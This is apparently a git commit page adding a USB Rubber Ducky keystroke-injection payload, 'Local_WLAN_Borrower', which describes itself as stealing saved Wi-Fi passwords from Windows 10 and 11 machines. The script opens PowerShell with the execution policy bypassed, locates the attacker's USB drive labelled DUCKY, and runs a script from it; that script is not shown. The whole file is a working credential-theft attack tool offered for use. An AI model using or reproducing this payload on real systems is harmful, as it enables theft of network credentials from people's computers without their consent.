Create payload.txt
parent
d02b817225
commit
ca6490cc9a
|
@ -0,0 +1,29 @@
|
||||||
|
REM Title: Local_WLAN_Borrower
|
||||||
|
REM Description: Borrows wifi passwords and saves them on the DUCKY
|
||||||
|
REM Author: YEETBOY0330
|
||||||
|
REM Props: Zero_Sploit(DUCKY-WIFI-GRABBER) + Hak5 Team
|
||||||
|
REM Version: 1.0
|
||||||
|
REM Category: Creds
|
||||||
|
REM Target: Windows 10 & 11
|
||||||
|
REM Attackmodes: HID, STORAGE
|
||||||
|
|
||||||
|
ATTACKMODE HID STORAGE
|
||||||
|
DEFAULTDELAY 20
|
||||||
|
|
||||||
|
REM Initial Delay
|
||||||
|
DELAY 1000
|
||||||
|
|
||||||
|
REM Opens powershell with script execution enabled
|
||||||
|
GUI r
|
||||||
|
DELAY 700
|
||||||
|
STRINGLN powershell -ExecutionPolicy Bypass
|
||||||
|
DELAY 4000
|
||||||
|
|
||||||
|
REM Gets usb named "DUCKY"
|
||||||
|
STRINGLN $targetLabel = "DUCKY"
|
||||||
|
STRINGLN $volume = Get-Volume | Where-Object { $_.FileSystemLabel -eq $targetLabel }
|
||||||
|
STRINGLN $driveLetter = $volume.DriveLetter + ":"
|
||||||
|
STRINGLN cd $driveletter
|
||||||
|
|
||||||
|
REM Runs powershell script
|
||||||
|
STRINGLN .\1.ps1
|
Loading…
Reference in New Issue